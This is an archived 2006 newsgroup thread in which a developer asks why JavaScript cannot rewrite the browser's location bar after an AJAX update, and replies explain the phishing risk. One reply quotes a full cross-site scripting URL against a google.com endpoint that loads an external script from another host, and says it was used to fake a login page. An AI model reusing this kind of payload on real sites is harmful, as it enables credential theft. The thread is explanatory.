AJAX and refresh/location bar/backbutton woes (adding to history)

0 views
Skip to first unread message

peterm...@gmail.com

unread,
Jul 7, 2006, 3:48:00 PM7/7/06
to
Hi,

If I type http://domain.com/product/5 into my browser I will see the
product details in the main div plus a side bar div containing links to
other products. This side bar is common to all product views. I click a
sidebar link to product 6 and an ajax request updates the main cell
with the product 6 information. My location bar will still say
/product/5. If I refresh the browser I will see product 5. If I
bookmark the page it will be for product 5. If I click the back button
I will go to the page I saw before product 5. I know none of these
problems with AJAX are new. Why is it that JavaScript can't tell the
browser "Now you are looking at http://domain.com/product/6"? Is there
a security risk? Is this just something not yet implemented?

Thanks,
Peter

Jim Ley

unread,
Jul 7, 2006, 3:54:33 PM7/7/06
to
On 7 Jul 2006 12:48:00 -0700, peterm...@gmail.com wrote:

> Why is it that JavaScript can't tell the
>browser "Now you are looking at http://domain.com/product/6"? Is there
>a security risk? Is this just something not yet implemented?

It's a security risk, the URL needs to reflect where you are:

Imagine this URL
<URL:
https://www.google.com/ig/feeds?q=http://ha.ckers.org/blog/feed/?%3CSCRIPT%3Edocument.documentElement.appendChild(document.createElement('script')).src='http://jibbering.com/test8.js'%3C/SCRIPT%3E&page=advdsrch
>

It looks a bit fishy right? but a couple of days ago that would've
shown you a page that looked indistinguishable from

https://www.google.com/adsense/

only the log in details would be stolen. The inability to make the
url look like you want is an important protection, even within the
same site.

Jim.

Matt Kruse

unread,
Jul 7, 2006, 3:59:43 PM7/7/06
to
peterm...@gmail.com wrote:
> Why is it that JavaScript can't tell the
> browser "Now you are looking at http://domain.com/product/6"? Is there
> a security risk?

Most certainly.

If javascript could change the url displayed by the browser, yet not
actually cause it to make a request and load the new page, I could make a
fake Paypal sign-on page, for example, and change the url to
www.paypal.com - you wouldn't even know the difference!

The challenges you face with Ajax are just some issues you need to consider
in the design. If you want bookmarkable pages, don't use ajax. Or provide a
link to the permanent url which represents the view you are seeing, so it
can be bookmarked. Etc.

--
Matt Kruse
http://www.JavascriptToolbox.com
http://www.AjaxToolbox.com


peterm...@gmail.com

unread,
Jul 7, 2006, 4:29:15 PM7/7/06
to

Good enough. Thanks.

Peter

peterm...@gmail.com

unread,
Jul 7, 2006, 4:30:07 PM7/7/06
to

Thanks, Jim.

Peter

Reply all
Reply to author
Forward
0 new messages